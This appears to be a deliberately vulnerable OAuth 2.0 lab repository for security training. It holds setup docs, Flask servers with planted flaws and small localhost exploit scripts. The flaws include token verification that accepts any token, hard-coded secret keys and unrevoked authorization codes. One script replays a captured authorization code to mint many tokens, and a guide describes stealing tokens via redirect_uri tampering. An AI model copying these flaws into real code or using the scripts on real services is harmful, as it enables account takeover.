├── Attacker ├── access.py ├── csrf.html ├── fetch_info.py └── index.html ├── Documentation ├── Authorization_code_not_invalidated.md ├── Lab_Setup.md ├── Readme.md └── redirect_uri_vuln.md ├── Exploit Script ├── Authorization_exploit.py ├── Verify_JWT.py └── fetch_info.py ├── README.md ├── code ├── API_server │ ├── API_server.py │ ├── __pycache__ │ │ ├── auth.cpython-36.pyc │ │ └── auth.cpython-37.pyc │ ├── auth.py │ ├── public.pem │ └── templates │ │ ├── Client_login.html │ │ ├── Credentails.html │ │ └── register.html ├── auth_server │ ├── AC_auth_server.py │ ├── \ │ ├── __pycache__ │ │ ├── auth.cpython-36.pyc │ │ └── auth.cpython-37.pyc │ ├── auth.py │ ├── private.pem │ └── templates │ │ └── AC_grant_access.html └── client │ ├── AC_client.py │ ├── public.pem │ └── templates │ ├── AC_login.html │ ├── user_details.html │ └── users.html └── requirements.txt /Attacker/access.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | session = requests.Session() 4 | 5 | paramsGet = {"authorization_code":"Z0FBQUFBQmROVnI2VUIycmtfZURvX1VkT1J4dkRKWjdKTlZ2R2NmRlJ5Vi1SN1ozbXkyZ1BBX2NjMktva0xVX3JjaWFVcXc1bTZ2ODdDWWZsaXhXeHI2Vm5McDdQMF8xd3NOUVNWTGlKYnNWUzBreDdVUDl4cmRjRE52TE5jZDVjRTBpYTNIMUdNS1dZUVdZTUgxUE90ZGF2ZGRyUTVEOUxRPT0"} 6 | 7 | headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0","Referer":"http://51a6a3e1.ngrok.io//auth?response_type=code&client_id=testing.com&redirect_url=http://51a6a3e1.ngrok.io/callback","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"} 8 | response = session.get("http://localhost:5000/callback", params=paramsGet, headers=headers) 9 | 10 | print("Status code: %i" % response.status_code) 11 | print("Response body: %s" % response.content) 12 | 13 | -------------------------------------------------------------------------------- /Attacker/csrf.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |
5 | 6 |
7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /Attacker/fetch_info.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | session = requests.Session() 4 | 5 | headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0","Referer":"http://localhost:5001/auth?response_type=code&client_id=testing.com&redirect_url=http://localhost:5000/callback","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"} 6 | 7 | cookies = {"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InBhdmFuLmt1bWFyQHdlNDUuaW4iLCJpc3MiOiJzYW1wbGUtYXV0aC1zZXJ2ZXIiLCJleHAiOjE1NjM3ODE3OTAuNTEyNDI0Mn0.CACy4iwbRkS47lYIkN9tz8wfiNVTafItonphO6B6yBnK8u8M5VI3nIXL9197DsJn4-5oTXsPkWZXmcZfwX7WG0-Escol1mGeJ9YUIHAgPyUYRPsofTUxSRYrB5F40txV4lGdas0887L8TckiK4bhcFy2H_1HsfG-CU2T8xAjrK2Dk2Ihh898GuZMrH7i9IY91VBie0YcOGdsCYqfx0UyM2cO8EJDLyEiJvN_DSfXZ4sD3vA4X81nO0Up9VombSL5jzKyhFeg7JjG8LYMyroiPmlJU6pBleXMC0vmRg4JGmiH1Xv1D1c1415cFbasI1WdBkvU8-yONSn_7reSbW0ZMw"} 8 | response = session.get("http://localhost:5000/", headers=headers, cookies=cookies) 9 | 10 | print("Status code: %i" % response.status_code) 11 | print("Response body: %s" % response.content) 12 | 13 | -------------------------------------------------------------------------------- /Attacker/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 10 | 11 | 12 |
13 | 14 |
15 | 16 | 17 | 18 |
19 | 20 | -------------------------------------------------------------------------------- /Documentation/Authorization_code_not_invalidated.md: -------------------------------------------------------------------------------- 1 | 2 | # Generating 'N' number of access tokens usng 3 | 4 | ### OAuth2 API makes it possible for users to grant access to their accounts with autorization server. When some user denies access for the application, all access_tokens are being revoked and become invalid. But not only access_tokens should be revoked, authorization codes (it is intermediate token used in OAuth2 Authorization Flow) must be revoked too. In this vulnerable application implementation does not revoke authorization code during access revocation. It may be exploited to restore access to user's account by malicious application after access revocation. 5 | 6 | ### Use the Burp to intercept the request 7 | 8 | #### Step 1: 9 | > Visit Client applicaiton 10 | 11 | ``` 12 | Visit locahost:5000 and click on Signin with authorization. 13 | ``` 14 | #### Step 2: 15 | > Signin with registerd credentails. 16 | 17 | ``` 18 | Enter the credetials and click on signin. 19 | 20 | Before you click on signin, intercept the request. 21 | ``` 22 | #### Step 3: 23 | > Copy the Authorization_code and the URL 24 | ``` 25 | Intercept the callback request and copy the authorization code and the URL 26 | Example: http://localhost:5000/callback?authorization_code=Z0FBQUFBQmN3RkFWMjJzNUxCdmVHZzZBaEI4Um82TUdNemJnWDhyRW1WeHRHSmZncS1jNmV1bEtlWmFGSU9aM053MWpaOGZ0TXBER3BESHhXQlNiV3lVVS1VNEo0ZTFuNzVkT0dlb1lKRUFsb0NoeUlEVXJNMl9pTS1UQ1U1cFJndmxMbldjZ0lIekhDRzYydy1EWUlNRXpmVEl0Sl94MURyN2RETHhmRS04dnVYQVk0LVZJYWF3Yms1UWg5VDUwdm1BcWtkempTWWRxQW5FNXJvSHJRZ3RuMU9yajFVRDJNdz09" 27 | ``` 28 | #### Step 4: 29 | > By using Authorization_Exploit script we can generate 'N' number of access token . 30 | 31 | ``` 32 | Change the authorization code and URL in the script. 33 | ``` 34 | -------------------------------------------------------------------------------- /Documentation/Lab_Setup.md: -------------------------------------------------------------------------------- 1 | ### Step 1: 2 | > Run the MongoDB service from system or docker hub 3 | 4 | `Issue the following command to start MongoDB from system(For Ubuntu systems)` 5 | 6 | 7 | ``` 8 | sudo service mongod start 9 | ``` 10 | 11 | `Issue the following command to start the mongo server instance` 12 | 13 | ``` 14 | docker run --name db_mongo -p 27017:27017 mongo 15 | ```` 16 | ### Step 2: 17 | >Create a database with name ‘OAuth’ 18 | 19 | ``` 20 | use OAuth 21 | ``` 22 | 23 | ### Step 3: Download the Vulnerable app 24 | > Download the vulnerable code app from git repo URL 25 | 26 | ``` 27 | github url 28 | ``` 29 | 30 | ### Step 4: Installing and Setting up python 3 virtual environment 31 | 32 | >Install Virtual environment and python3-venv package 33 | ``` 34 | sudo pip3 install virtualenv 35 | apt-get install python3-venv 36 | ``` 37 | >create the virtual environment 38 | 39 | ``` 40 | python3 -m venv envpy3 41 | ``` 42 | 43 | >Activate the created virtual environment 44 | 45 | ``` 46 | source envpy3/bin/activate 47 | ``` 48 | > install required packages 49 | ``` 50 | pip install -r requirements.txt 51 | ``` 52 | ### Step 5: Run the Vulnerable app 53 | >Run an API server on the activated virtual environment 54 | ``` 55 | python ~/OAuth_vuln_app/AC/API_server/API_server.py 56 | ``` 57 | >Run an authorization server in an another terminal 58 | ``` 59 | source envpy3/bin/activate 60 | python ~/OAuth_vuln_app/AC/API_server/AC_auth_server.py 61 | ``` 62 | 63 | >Run client application in another terminal 64 | ``` 65 | source envpy3/bin/activate 66 | python ~/OAuth_vuln_app/AC/API_server/AC_client.py 67 | ``` 68 | ### Step 6: Register the user in Authorization Server 69 | > Register and login in the API server for Client ID and Client Secret 70 | 71 | ``` 72 | http://localhost:5002/register 73 | ``` 74 | >Now login with credentials 75 | ``` 76 | http://localhost:5002/ 77 | ``` 78 | >Now copy the Client Secret and replace the CLIENT_SECRET in AC_Client.py 79 | 80 | > Lab setup process is completed. -------------------------------------------------------------------------------- /Documentation/Readme.md: -------------------------------------------------------------------------------- 1 | # OAuth Vulnerable Application Lab Setup 2 | 3 | #### OAuth 2 is an authorization framework that enables applications to obtain limited access to user accounts on an HTTP service, such as Facebook, GitHub, and DigitalOcean. It works by delegating user authentication to the service that hosts the user account, and authorizing third-party applications to access the user account. OAuth 2 provides authorization flows for web and desktop applications, and mobile devices. 4 | 5 | #### I have created own Client application, Authorization server and Resource Server. 6 | 7 | #### The Client applicaiton runs on 5000 port, Authorization server on 5001 and Resource server on 5002. 8 | #### 9 | 10 | ## Prerequisites for the lab setup 11 | * Python 3 12 | * MongoDB 13 | 14 | ### Step 1: 15 | > Run the MongoDB service from system or docker hub 16 | 17 | `Issue the following command to start MongoDB from system(For Ubuntu systems)` 18 | 19 | 20 | ``` 21 | sudo service mongod start 22 | ``` 23 | 24 | `Issue the following command to start the mongo server instance` 25 | 26 | ``` 27 | docker run --name db_mongo -p 27017:27017 mongo 28 | ```` 29 | ### Step 2: 30 | >Create a database with name ‘OAuth’ 31 | 32 | ``` 33 | use OAuth 34 | ``` 35 | 36 | ### Step 3: Download the Vulnerable app 37 | > Download the vulnerable code app from git repo URL 38 | 39 | ``` 40 | github url 41 | ``` 42 | 43 | ### Step 4: Installing and Setting up python 3 virtual environment 44 | 45 | >Install Virtual environment and python3-venv package 46 | ``` 47 | sudo pip3 install virtualenv 48 | apt-get install python3-venv 49 | ``` 50 | >create the virtual environment 51 | 52 | ``` 53 | python3 -m venv envpy3 54 | ``` 55 | 56 | >Activate the created virtual environment 57 | 58 | ``` 59 | source envpy3/bin/activate 60 | ``` 61 | > install required packages 62 | ``` 63 | pip install -r requirements.txt 64 | ``` 65 | ### Step 5: Run the Vulnerable app 66 | >Run an API server on the activated virtual environment 67 | ``` 68 | python ~/OAuth_vuln_app/AC/API_server/API_server.py 69 | ``` 70 | >Run an authorization server in an another terminal 71 | ``` 72 | source envpy3/bin/activate 73 | python ~/OAuth_vuln_app/AC/API_server/AC_auth_server.py 74 | ``` 75 | 76 | >Run client application in another terminal 77 | ``` 78 | source envpy3/bin/activate 79 | python ~/OAuth_vuln_app/AC/API_server/AC_client.py 80 | ``` 81 | ### Step 6: Register the user in Authorization Server 82 | > Register and login in the API server for Client ID and Client Secret 83 | 84 | ``` 85 | http://localhost:5002/register 86 | ``` 87 | >Now login with credentials 88 | ``` 89 | http://localhost:5002/ 90 | ``` 91 | >Now copy the Client Secret and replace the CLIENT_SECRET in AC_Client.py 92 | 93 | > Lab setup process is completed. 94 | 95 | #### Vulnerability Demo 96 | 97 | * Stealing Users OAUTH Tokens via redirect_uri 98 | * Authorization code not invalidated 99 | -------------------------------------------------------------------------------- /Documentation/redirect_uri_vuln.md: -------------------------------------------------------------------------------- 1 | 2 | # Stealing Users OAUTH Tokens via redirect_uri 3 | > Open redirection on oauth redirect_uri which can lead to users 4 | oauth tokens being leaked to any malicious user. 5 | 6 | #### Step 1: 7 | > Tamper the redirect_uri ad chnage it to attacker malicious website 8 | 9 | ``` 10 | Visit localhost:5000 11 | ``` 12 | #### Step 2: 13 | > Now use the Burp to intercept the request 14 | 15 | ``` 16 | Click on Signin with authorization and intercept the request. 17 | 18 | Tamper and change the redirect_uri value to malicious attaker website. 19 | ``` 20 | #### Step 3: 21 | > Now Signin with registered credentials 22 | > Once the signin completed it will be redirected to malicious webiste with access token 23 | -------------------------------------------------------------------------------- /Exploit Script/Authorization_exploit.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | b = 0 4 | for i in range(100): 5 | url = "http://localhost:5000/callback?authorization_code=Z0FBQUFBQmROV01faFktaGdLbVlpV0xlT3JGUGxMM25vNURqSHpQMmFuZXhxX1RXa0ZYa2xoMnk0SHNwa0F0VzVhZnZqOFFuaWpfampsblVsSVhNXzk3SGRrVW15bUE5SkY1MWpRb2h0R3hfZU9iM1JMM1dkRC1KNUxVZlBMTWxqUldhd2R2STRQcVdIaWl5NU9tbERMdVBaSWNaT1BrSjBRPT0" 6 | session = requests.Session() 7 | response = session.get(url) 8 | data = session.cookies.get_dict() 9 | a = data.get('access_token') 10 | b = b + 1 11 | print(a) 12 | file = open('data.txt', 'a') 13 | file.write("%s\n" % a) 14 | # file.writelines('\n') 15 | # file.writelines(a) 16 | # file.writelines('\n') 17 | file.close -------------------------------------------------------------------------------- /Exploit Script/Verify_JWT.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | session = requests.Session() 4 | 5 | f = open('data.txt') 6 | for line in f: 7 | pavan = line.strip() 8 | # print(pavan) 9 | cookies = {"access_token":pavan} 10 | headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0","Referer":"http://localhost:5001/auth?response_type=code&client_id=testing.com&redirect_url=http://localhost:5000/callback","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"} 11 | 12 | # print(cookies) 13 | response = session.get("http://localhost:5000/", headers=headers, cookies=cookies) 14 | 15 | print("Status code: %i" % response.status_code) 16 | # print("Response body: %s" % response.content) 17 | -------------------------------------------------------------------------------- /Exploit Script/fetch_info.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | session = requests.Session() 4 | 5 | headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0","Referer":"http://localhost:5001/auth?response_type=code&client_id=testing.com&redirect_url=http://localhost:5000/callback","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"} 6 | 7 | cookies = {"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InBhdmFuLmt1bWFyQHdlNDUuaW4iLCJpc3MiOiJzYW1wbGUtYXV0aC1zZXJ2ZXIiLCJleHAiOjE1NjM3ODE3OTAuNTEyNDI0Mn0.CACy4iwbRkS47lYIkN9tz8wfiNVTafItonphO6B6yBnK8u8M5VI3nIXL9197DsJn4-5oTXsPkWZXmcZfwX7WG0-Escol1mGeJ9YUIHAgPyUYRPsofTUxSRYrB5F40txV4lGdas0887L8TckiK4bhcFy2H_1HsfG-CU2T8xAjrK2Dk2Ihh898GuZMrH7i9IY91VBie0YcOGdsCYqfx0UyM2cO8EJDLyEiJvN_DSfXZ4sD3vA4X81nO0Up9VombSL5jzKyhFeg7JjG8LYMyroiPmlJU6pBleXMC0vmRg4JGmiH1Xv1D1c1415cFbasI1WdBkvU8-yONSn_7reSbW0ZMw"} 8 | response = session.get("http://localhost:5000/", headers=headers, cookies=cookies) 9 | 10 | print("Status code: %i" % response.status_code) 11 | print("Response body: %s" % response.content) 12 | 13 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Vulnerable-OAuth2.0-Application 2 | >OAuth 2 is an authorization framework that enables applications to obtain limited access to user accounts on an HTTP service, such as Facebook, GitHub, and DigitalOcean. It works by delegating user authentication to the service that hosts the user account, and authorizing third-party applications to access the user account. OAuth 2 provides authorization flows for web and desktop applications, and mobile devices. 3 | 4 | ### Components 5 | 6 | * Client application 7 | * It runs on 5000 port 8 | * Authorization server 9 | * It runs on 5001 port 10 | * Resource Server 11 | * It runs on 5002 port 12 | 13 | ### Prerequisites 14 | 15 | * Python 3 16 | * MongoDB 17 | 18 | [Getting Started](Documentation/Lab_Setup.md) 19 | 20 | ### List of Exploitations 21 | 22 | * [Stealing Users OAUTH Tokens via redirect_uri](Documentation/redirect_uri_vuln.md) 23 | * [Authorization code not invalidated](Documentation/Authorization_code_not_invalidated.md) 24 | 25 | 26 | ## Start Labs 27 | * Pull vulnerable `oauth2.0` docker container 28 | 29 | ``` docker pull topavankumarj/oauth2.0_vuln_app``` 30 | 31 | * Run `mongoDB` database 32 | 33 | ``` docker run -d --link db_mongo:db_mongo -p 5000:5000 -p 5001:5001 -p 5002:5002 topavankumarj/oauth2.0_vuln_app``` 34 | 35 | ## For more information 36 | 37 | ### Slides: [ Security For OAuth : How To Handle Protected Data ](https://www.slideshare.net/PavanKumar1220/security-for-oauth-20-topavankumarj/PavanKumar1220/security-for-oauth-20-topavankumarj) -------------------------------------------------------------------------------- /code/API_server/API_server.py: -------------------------------------------------------------------------------- 1 | import json 2 | from pymongo import MongoClient 3 | import uuid 4 | #import ssl 5 | import requests 6 | from auth import verify_access_token 7 | from flask import Flask, request, jsonify, redirect, render_template, Response,request, make_response, url_for 8 | from functools import wraps 9 | from werkzeug.security import gen_salt, generate_password_hash, check_password_hash 10 | import jwt 11 | import datetime 12 | import base64 13 | 14 | app = Flask(__name__) 15 | app.config['SECRET_KEY'] = 'pavankumar' 16 | 17 | client = MongoClient('db_mongo:27017') 18 | db = client.OAuth 19 | 20 | 21 | cred_PATH = 'http://localhost:5002/credentials' 22 | 23 | ISSUER = 'sample-auth-server' 24 | 25 | with open('/OAuth_Vuln/API_server/public.pem', 'rb') as f: 26 | public_key = f.read() 27 | 28 | 29 | def token_required(f): 30 | @wraps(f) 31 | def decorated(*args, **kwargs): 32 | auth_header = request.headers.get('Authorization','') 33 | if auth_header: 34 | label, token = auth_header.split('Bearer ') 35 | verified = verify_access_token(token) 36 | if not verified: 37 | return jsonify({'error':'Invalid token!'}) 38 | else: 39 | return redirect('/login') 40 | return f(*args, **kwargs) 41 | return decorated 42 | 43 | @app.route('/users', methods = ['GET']) 44 | @token_required 45 | def get_user(): 46 | print(request.headers) 47 | cursor = db.Register.find() 48 | users = [] 49 | for document in cursor: 50 | user_data = {} 51 | Name = document.get('Name') 52 | Email = document.get('Email') 53 | user_data = { 'Name': Name, 'email': Email} 54 | users.append(user_data) 55 | print(users) 56 | 57 | return json.dumps({ 58 | 'results': users 59 | }) 60 | 61 | # =================================== Client Login functions ============================================== 62 | 63 | def token_required1(f): 64 | @wraps(f) 65 | def decorated(*args, **kwargs): 66 | token = request.cookies.get('access_token') 67 | print('printing access token in token function ====> ',token) 68 | if not token: 69 | return jsonify({"messege":"Token missing in header"}), 401 70 | token_data = jwt.decode(token.encode(), key=app.config['SECRET_KEY'],algorithms='HS256') 71 | print('token data ========> ', token_data) 72 | try: 73 | current_user = db.Register.find_one({"ID":token_data.get('ID')}) 74 | print("current user details", current_user) 75 | except: 76 | return jsonify({"msg":"Invalid Token"}) 77 | return f(current_user, *args, **kwargs) 78 | return decorated 79 | 80 | @app.route('/', methods = ['GET']) 81 | def home(): 82 | return render_template('Client_login.html') 83 | 84 | @app.route('/client') 85 | @token_required1 86 | def main(user_id): 87 | print('==================== Client ===========================') 88 | print('after token function') 89 | access_token = request.cookies.get('access_token') 90 | print('access token ===> ', access_token) 91 | 92 | r = requests.get(cred_PATH, cookies = { 93 | 'access_token': access_token 94 | }) 95 | print('==================== after credentails fuction===========================') 96 | if r.status_code != 200: 97 | return json.dumps({ 98 | 'error': 'The resource server returns an error: \n{}'.format( 99 | r.text) 100 | }), 500 101 | print("data from credentials",r.text) 102 | print('*'*100) 103 | cli_data = json.loads(r.text).get('results') 104 | print('Credentails ============> ',cli_data) 105 | for cli in cli_data: 106 | print(cli) 107 | 108 | return render_template('Credentails.html', cli_data = cli_data) 109 | 110 | @app.route("/client/login", methods = ['POST']) 111 | def client_login(): 112 | form = request.form 113 | username = form.get('username') 114 | password = form.get('password') 115 | if not username or not password: 116 | return jsonify({"messege":"sorry"}) 117 | data = db.Register.find_one({"Email":username}) 118 | if data: 119 | authenticated = check_password_hash(data.get('Password'), password) 120 | if not authenticated: 121 | return jsonify({"error":"Invaid creds!"}) 122 | else: 123 | token = jwt.encode({"ID":data.get('ID'), "exp":datetime.datetime.utcnow()+datetime.timedelta(minutes=30)}, key=app.config["SECRET_KEY"],algorithm='HS256') 124 | print("login successfull==========> ", token) 125 | response = make_response(redirect(url_for('main'))) 126 | response.set_cookie('access_token', token) 127 | return response 128 | else: 129 | return jsonify({"messege":"No user found!"}) 130 | 131 | @app.route("/credentials", methods = ['GET']) 132 | @token_required1 133 | def cred(user_id): 134 | cred_data = [] 135 | print('====================Client credentials function===========================') 136 | client.user_id = user_id.get('ID' ) 137 | print("user ID===> ",user_id) 138 | if not db.Oauth2_cred.find_one({"ID":user_id.get('ID')}): 139 | print("User details ===> ",client.user_id) 140 | client.client_id = "testing.com" 141 | print("Client ID ===> ",client.client_id) 142 | if client.token_endpoint_auth_method == 'none': 143 | client.client_secret = '' 144 | else: 145 | client.client_secret = base64.b64encode(gen_salt(12).encode() + client.user_id.encode()).decode() 146 | db.Oauth2_cred.insert_one({ 147 | "ID" : client.user_id, 148 | "Client_ID" : client.client_id, 149 | "Client_Secret" : client.client_secret 150 | }) 151 | cli_data = {'Client_ID':client.client_id,'Client_Secret':client.client_secret} 152 | cred_data.append(cli_data) 153 | return json.dumps({'results': cred_data}) 154 | else: 155 | client_data = db.Oauth2_cred.find_one({"ID":user_id.get('ID')}) 156 | cli_data = {'Client_ID':client_data.get('Client_ID'),'Client_Secret':client_data.get('Client_Secret')} 157 | cred_data.append(cli_data) 158 | return json.dumps({'results': cred_data}) 159 | 160 | 161 | @app.route('/register', methods = ['GET']) 162 | def home_register(): 163 | return render_template('register.html') 164 | 165 | @app.route("/client/register", methods = ['POST']) 166 | def register(): 167 | form = request.form 168 | name = form.get('name') 169 | email = form.get('email') 170 | password = form.get('password') 171 | print('registration details ===>',request.form) 172 | hashed_pwd = generate_password_hash(password, method='sha256') 173 | print(hashed_pwd) 174 | db.Register.insert_one({ 175 | "ID" : str(uuid.uuid4()), 176 | "Name" : name, 177 | "Email" : email, 178 | "Password" : hashed_pwd 179 | }) 180 | response = make_response(redirect(url_for('home'))) 181 | return response 182 | 183 | @app.route("/user_details", methods = ['GET']) 184 | @token_required 185 | def src_user(): 186 | users_data = [] 187 | auth_header = request.headers.get('Authorization','') 188 | label,token = auth_header.split('Bearer ') 189 | print('Token data ==========> ',token) 190 | token_data = jwt.decode(token, public_key, issuer = ISSUER, 191 | algorithm = 'RS256') 192 | user_id = token_data.get("username") 193 | print("user_ID from token data=========> ",user_id) 194 | collection = db['Register'] 195 | cursor = collection.find({}) 196 | for document in cursor: 197 | print('Document data ===========> ',document) 198 | us_id = document.get('Email' ) 199 | print('Email details from docu',us_id) 200 | if document.get('Email' ) == user_id: 201 | user_data = {'Name':document.get('Name' ),'Email':document.get('Email' ),'UUID':document.get('ID')} 202 | users_data.append(user_data) 203 | return json.dumps({'results': users_data}) 204 | return jsonify({'message': 'User not found'}) 205 | 206 | if __name__ == '__main__': 207 | #context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) 208 | #context.load_cert_chain('domain.crt', 'domain.key') 209 | #app.run(port = 5000, debug = True, ssl_context = context) 210 | app.run(port = 5002, host='0.0.0.0', debug = True) 211 | -------------------------------------------------------------------------------- /code/API_server/__pycache__/auth.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/topavankumarj/Vulnerable-OAuth2.0-Application/a4b01437cbb43276571e75a7c883c8439fc4bc31/code/API_server/__pycache__/auth.cpython-36.pyc -------------------------------------------------------------------------------- /code/API_server/__pycache__/auth.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/topavankumarj/Vulnerable-OAuth2.0-Application/a4b01437cbb43276571e75a7c883c8439fc4bc31/code/API_server/__pycache__/auth.cpython-37.pyc -------------------------------------------------------------------------------- /code/API_server/auth.py: -------------------------------------------------------------------------------- 1 | import cryptography 2 | import jwt 3 | 4 | ISSUER = 'sample-auth-server' 5 | 6 | with open('/OAuth_Vuln/API_server/public.pem', 'rb') as f: 7 | public_key = f.read() 8 | 9 | def verify_access_token(access_token): 10 | try: 11 | decoded_token = jwt.decode(access_token, public_key, 12 | issuer = ISSUER, 13 | algorithm = 'RS256',**{"verify_exp":False}) 14 | # except (jwt.exceptions.InvalidTokenError, 15 | # jwt.exceptions.InvalidSignatureError, 16 | # jwt.exceptions.InvalidIssuerError, 17 | # jwt.exceptions.ExpiredSignatureError) 18 | except Exception as e: 19 | print("Error",e) 20 | return True 21 | 22 | return True 23 | -------------------------------------------------------------------------------- /code/API_server/public.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqt6NInZQ8Ty9wfprXhPx 3 | G16zV7Svd2DhJ3j6ZS/zfkThSeuo11fTcoxt8MaI5orORQDfRKLtwlYd9KnDR93Y 4 | I6JFyPDEzAoXkW9RRig2NiOHoOR368mu7NbA2R3F8jqIER42R24/AKUTkU9LPjus 5 | KZBUcADImLg9698GM5125x2s4j2U+T68jERRO4iEIPG9dVK98Y+vZ8XN29kb4AOK 6 | OtkO4ZFCrN2R6GbpvACShgczMgxgb4q3BZnB/RVkRFv4sW0AdO5jie7WKpP8XHeT 7 | 3eifdt77uhoLjUSvpqs6VLYAc9xEpxCmzu63XNqVV7S8Qnzs05wyJk5LytdtEnnH 8 | XwIDAQAB 9 | -----END PUBLIC KEY----- 10 | -------------------------------------------------------------------------------- /code/API_server/templates/Client_login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Client Login 5 | 6 | 7 | 8 |

Username:

9 | 10 |

Password:

11 | 12 |

13 | 14 |

15 | 16 |
17 |

18 | 19 |

20 |
21 | -------------------------------------------------------------------------------- /code/API_server/templates/Credentails.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Client Credentials (Web Application) 5 | 6 | 7 |

Client Credentials

8 |
9 | 10 | {% for cli in cli_data %} 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | {% endfor %} 25 |
Cleint_ID
{{ cli['Client_ID'] }}
Cleint_Secret
{{ cli['Client_Secret'] }}
26 |
27 | 28 | -------------------------------------------------------------------------------- /code/API_server/templates/register.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Client Login 5 | 6 | 7 |
8 |

Name:

9 | 10 |

Email:

11 | 12 |

Password:

13 | 14 |

15 | 16 |

17 |
18 | 19 | 20 | -------------------------------------------------------------------------------- /code/auth_server/AC_auth_server.py: -------------------------------------------------------------------------------- 1 | import json 2 | #import ssl 3 | from urllib.parse import urlparse, parse_qsl, urlunparse, urlencode 4 | from werkzeug.security import generate_password_hash, check_password_hash 5 | 6 | from auth import (authenticate_user_credentials, authenticate_client, 7 | generate_access_token, generate_authorization_code, 8 | verify_authorization_code, verify_client_info, 9 | JWT_LIFE_SPAN) 10 | from flask import Flask, redirect, render_template, request,jsonify 11 | from cryptography.fernet import Fernet 12 | 13 | KEY = b'YHD1m3rq3K-x6RxT1MtuGzvyLz4EWIJAEkRtBRycDHA=' 14 | 15 | app = Flask(__name__) 16 | app.config["DEBUG"] = True 17 | app.config['SECRET_KEY'] = 'pavankumar' 18 | 19 | # client = MongoClient('127.0.0.1:27017') 20 | # # db = client.OAuth 21 | 22 | f = Fernet(KEY) 23 | 24 | @app.route('/auth') 25 | def auth(): 26 | # Describe the access request of the client and ask user for approval 27 | client_id = request.args.get('client_id') 28 | redirect_url = request.args.get('redirect_url') 29 | 30 | if None in [ client_id, redirect_url ]: 31 | return json.dumps({ 32 | "error": "invalid_request" 33 | }), 400 34 | 35 | if not verify_client_info(client_id, redirect_url): 36 | return json.dumps({ 37 | "error": "invalid_client" 38 | }) 39 | 40 | return render_template('AC_grant_access.html', 41 | client_id = client_id, 42 | redirect_url = redirect_url) 43 | 44 | def process_redirect_url(redirect_url, authorization_code): 45 | # Prepare the redirect URL 46 | url_parts = list(urlparse(redirect_url)) 47 | queries = dict(parse_qsl(url_parts[4])) 48 | queries.update({ "authorization_code": authorization_code }) 49 | url_parts[4] = urlencode(queries) 50 | url = urlunparse(url_parts) 51 | return url 52 | 53 | @app.route('/signin', methods = ['POST']) 54 | def signin(): 55 | # Issues authorization code 56 | username = request.form.get('username') 57 | password = request.form.get('password') 58 | client_id = request.form.get('client_id') 59 | redirect_url = request.form.get('redirect_url') 60 | 61 | if None in [ username, password, client_id, redirect_url ]: 62 | return json.dumps({ 63 | "error": "invalid_request" 64 | }), 400 65 | 66 | if not verify_client_info(client_id, redirect_url): 67 | return json.dumps({ 68 | "error": "invalid_client" 69 | }) 70 | 71 | if not authenticate_user_credentials(username, password): 72 | # return data 73 | return json.dumps({ 74 | 'error': 'access_denied' 75 | }), 401 76 | 77 | authorization_code = generate_authorization_code(client_id, username) 78 | 79 | url = process_redirect_url(redirect_url, authorization_code) 80 | 81 | return redirect(url, code = 303) 82 | 83 | @app.route('/token', methods = ['POST']) 84 | def exchange_for_token(): 85 | # Issues access token 86 | authorization_code = request.form.get('authorization_code') 87 | client_id = request.form.get('client_id') 88 | client_secret = request.form.get('client_secret') 89 | redirect_url = request.form.get('redirect_url') 90 | 91 | if None in [ authorization_code, client_id, client_secret, redirect_url ]: 92 | return json.dumps({ 93 | "error": "invalid_request" 94 | }), 400 95 | 96 | if not authenticate_client(client_id, client_secret): 97 | return json.dumps({ 98 | "error": "invalid_client" 99 | }), 400 100 | 101 | data = verify_authorization_code(authorization_code, client_id) 102 | if data == "False": 103 | return json.dumps({ 104 | "error": "access_denied" 105 | }), 400 106 | access_token = generate_access_token(data) 107 | 108 | return json.dumps({ 109 | "access_token": access_token.decode(), 110 | "token_type": "JWT", 111 | "expires_in": JWT_LIFE_SPAN 112 | }) 113 | 114 | 115 | if __name__ == '__main__': 116 | #context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) 117 | #context.load_cert_chain('domain.crt', 'domain.key') 